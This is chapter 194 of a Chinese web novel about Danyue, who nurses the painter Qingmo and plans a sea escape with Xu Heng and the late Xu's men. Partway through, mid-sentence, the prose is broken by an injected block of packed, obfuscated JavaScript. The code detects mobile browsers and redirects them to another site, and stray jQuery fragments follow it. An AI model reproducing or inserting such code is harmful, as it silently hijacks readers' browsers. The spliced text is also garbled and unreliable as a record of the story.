194.第 194 章

作品:《孤女淡月

    好在青墨只是饿了几天,外加精神紧张地持续画画导致身子虚弱,其他毛病一个没有。


    “月姐姐,他也太难伺候了!药也不喝,东西也不吃!”阿芝从厢房出来的时候气得眼睛都红了。


    淡月拍了拍阿芝的肩膀,目光落在那昏暗的厢房内,她伸手接过阿芝手中的托盘,温柔道:“接下来就交给我们吧。昨夜到现在一直忙着,你都没好好休息吧?快去歇着。”


    “哎。”阿芝乖巧应了,她抬眸看月姐姐的状态也很不好,又皱起眉头看向厢房,“姐姐也别太忧心了,他也没有什么病,就是饿狠了,加上一直绷着弦儿拼命画画,现下身子很虚而已。那我先回去睡会儿,晚一些时候再来。”


    淡月点点阿头,目送阿芝离开后,才轻轻推开那扇虚掩着的房门。


    屋内只点了一盏小小的油灯,青墨正躺在床上睡得很沉,眉头却依旧蹙着,仿佛梦里也不得安宁。


    她无声地靠近,在床边的矮凳上坐下。睡梦中的那张过于消瘦的脸,看得她心里很不是滋味。犹记得他们初遇之时,青墨那故作深沉的模样,还有深沉背后充满赤子之心的勇气,可如今,怎的会让他经历这一遭……


    她像长姐一般,轻柔地抚了抚他汗湿的额发,忽然,她的动作顿住了。


    在那一片乌黑的发间,竟突兀地藏匿了几根银白色。


    他才多大?


    酸楚猛地冲上鼻尖,泪水开始在眼眶打转,她努力着不眨眼睛,才没有让泪水夺眶而出。


    床上的人似乎感受到了什么,睫毛轻轻颤抖,伴随着很轻的低哼声,青墨睁开了眼睛。


    “月……姐姐。”在看见她的一瞬间,他像个久未归家的孩童一般,大颗大颗的眼泪滚落,洇湿了枕头。


    “好了,好了,没事了,青墨,没事了……”她连忙俯身,用袖角小心地擦拭眼泪,温柔的语气中带着哽咽,“回家了,你看,这是咱们的小院。以后都安全了,再也没有人能关着你了。”


    他哭了很久,久到再开口时声音沙哑得厉害,“许……许大哥呢?”


    淡月温柔回答:“他去安排更重要的事了。青墨,有个天大的好消息要告诉你。还记得我们之前筹划的离岛计划吗?它成了!等你身子养得好些,有力气了,我们就启程,一起回京!”


    “回京?”青墨的眼睛瞬间被点亮,可光芒只闪烁了一瞬间,便黯淡下去:“不……月姐姐,我还不能走。”


    “为什么?”


    “徐老伯他还病着,身边没有顺心的人照顾,他一个人不行的!”青墨抬起红红的眼眸,道。


    淡月不忍心告诉他实情,只是轻声问道:“你不怪他吗?当初是他把你带走,还有后面这些事。”


    青墨摇摇头:“一开始其实是恨他的,可是他把我带回去之后,没有打我骂我,反而教了我很多关于画画的技艺。他懂得特别多,我总觉得,他年轻的时候一定是个很了不起的画师。”他顿了顿,声音更低,“可惜……他好像没留下什么像样的作品。”


    房间里安静下来,只有蜡烛偶尔噼啪一声。


    淡月落了眸,过了好一会儿她才抬起复杂的眼睛。


    “有的。”


    她的声音在寂静中格外清晰。


    “徐老伯他有过一幅惊世之作,等你好一些,有力气走动了,我带你去看。”


    这句话仿佛是青墨接下来大口吃饭的动力,只是他也有感知,每每问到徐老伯的现状时,大家都是避而不谈,仿佛这个人不存在一般。


    小院主阁三楼深处的屋子里昏昏黄黄的,淡月正端着一碗热气腾腾的鱼片粥和凉碟小菜进来。


    许恒靠在床头在查看旧皮纸,见她进来,连忙起身相迎。


    “趁热吃些。”她拒绝了他伸过来的手,自己把托盘轻轻放在桌上。


    许恒凑近一闻,香气扑鼻,他舀起一勺粥,吹了吹,却没立刻送入口中,而是抬眼看着她,“说起来,这些端茶送水的活计,搁在从前,可都是小丫鬟们抢着做的。如今倒好,还要劳烦月仙女亲自下凡,沾染这人间烟火了。”


    淡月在桌对面坐下,横了他一眼,不客气地拿起筷子夹了一片清爽的腌黄瓜,咔嚓一声,脆响在安静的夜里格外清晰。


    “仙女怎么了?”她挑眉,“仙女也是要吃饭穿衣的。若不能自食其力,事事假手于人,那叫供奉,不叫生活。再说了,连自己都照料不好,还怎么让世人信服你真有本事?”


    这话说得认真,并非全为斗嘴。


    这一路以来,颠沛流离已过月余。她亲眼见过渔妇织网的粗糙双手,尝过自己亲手烤焦的鱼,体会过众人在暴雨后恢复家园的狼狈,也感受过靠自己和同伴双手一点点将逃生的船从无到有搭建起来的艰难与充实。郡主的光环早就随着每日拂面的海风吹散了,曾经的她或许不懂什么是生活,什么是真正的百姓,但她现在却是能道出百姓的诸多苦楚与不公。


    当个普通人,没什么不好。


    她放下筷子,看向他,“别说这些了。船员的事,怎么样了?可有着落?”


    许恒一瞬间收敛了笑意,碗被重重地放在桌上,砸落的声响敲击着淡月的脑海。


    当她听见不好的消息时,有了心理准备。


    “这事……恐怕有点棘手。”


    淡月凝眉:“是……没有人愿意来吗?还是说那些人都被行宫那帮人管控起来了?”


    “都不是。只是岛上的渔民大多安土重迁,熟悉近海捕捞,远航经验不足。”


    这也就意味着,他们的万事俱备,欠的却是巨大的东风。淡月长叹一声,心情很不好。


    只是低着头的她根本没有注意到,眼前的男人看她这副苦恼的样子,倒是笑了起来,狡黠的笑意要更明亮上几分。下一秒,淡月放在桌子上的手被他的大手覆盖住。


    “骗你的。”许恒笑出声,眼底星光点点。


    淡月:……


    “不过这人的安排,确实不是我们找的。还记得徐老伯留下的那些人吗?那里头有早年跟着大商船跑过南洋的,不论是辨风向,还是看星图,亦或是操帆掌舵,那都是好手。”许恒将脸凑近一些,企图更近距离看清她的表情。


    一股又气又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963920|164853||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喜的情绪涌上淡月心头,她不轻不重地捶了他肩膀一下:“你又逗我!害我白担心!”


    他顺势握住她的拳头,包在掌心,笑声愉悦:“这不都是跟你学的?生活生活,总得有点生机才有趣味不是?看你刚才那紧张的小模样,可比平时端着的仙女架子可爱多了。”


    淡月羞恼地挖了他一眼,脸上的微热还未落下,她想抽回手,谁曾想却被他握得更紧了。


    “回去我可要好好跟爹爹说道说道,他引以为傲的学生,有多么讨人厌!”


    一声娇怒,回荡在屋内,却是如释重负。


    这几日小院里格外忙碌。


    马上要启程了,船上的物资清点,以及究竟能够承载多少人出行,都需要一一盘算。


    徐老留下的那些人,沉默地完成着分派的活计,他们大多身材魁梧,面相粗犷,可做起事来却细致入微。终于,在一个晚霞漫天的傍晚,为首的几位壮汉互相看了一眼,像是下定了决心,一起走到正在清点药囊的淡月面前。


    他们齐齐站定,躬身行了一个极为恭敬的礼。


    淡月怔了怔,连忙将人扶起,“这是做什么?”


    “姑娘。”领头的那人道:“我等兄弟这几日私下议过了。船,我们看了,能载的人有限。咱们这些人呢,若都跟着走,怕是不太可能。徐老于我们是再造之恩,他认您做义女,您便是我们新的主心骨,但恩情不能拖累大局。”


    那人笑了笑,眼神复杂着:“我们商量好了,就走二十个人,他们水性身手都最好,跟着姑娘走,就算遇到什么危险,也有他们来护卫。其他的兄弟呢,就留下来守着小院,让这里一切如常,您看如何?”


    到此刻为止,淡月才算明白过来,他们千算万算,还是漏了一件事。


    若是他们所有人贸然离岛,且不说船只是否能承载,就光是人去楼空这一条,就足够岛上的精兵开着船来拦截。那样的后果……不堪设想。


    可他们的决定,这是要用自己做人墙?


    “可是,留下来的人怎么办?若是让岛上的人发现了,定会迁怒于他们。徐老不在,根本就招架不住啊!”淡月有些急了。


    领头的汉子扯出一个笑容,“姑娘放心,我们留下可不是为了等死。徐老经营的这些年,我们也不是白吃饭的。拖住消息散出还是容易的,我们有把握,至少能让你们平安离开这片海域。”


    他身后的有些兄弟,眼圈瞬间就红了。淡月蹙眉看着,如同千枚钉子扎入心间,难受至极。


    汉子再开口:只求姑娘能带那二十个兄弟,成功回到内陆,若是遇见危险他们之中不幸有人遇难,也请姑娘挂念着一丝情分,找到他的家人,告知一声就好。”


    这么大的事情,淡月一下子觉得自己应付不来。


    “你们...等一下!此事重大,容我去唤个人来。”


    她几乎是踉跄着转身,快步去找许恒。许恒在听说这件事后,先是稳住她的情绪,再带着她一起走回来。


    他的目光扫过每一张脸,良久,他只问了一个问题:“留下的人,可有把握拖上多久?”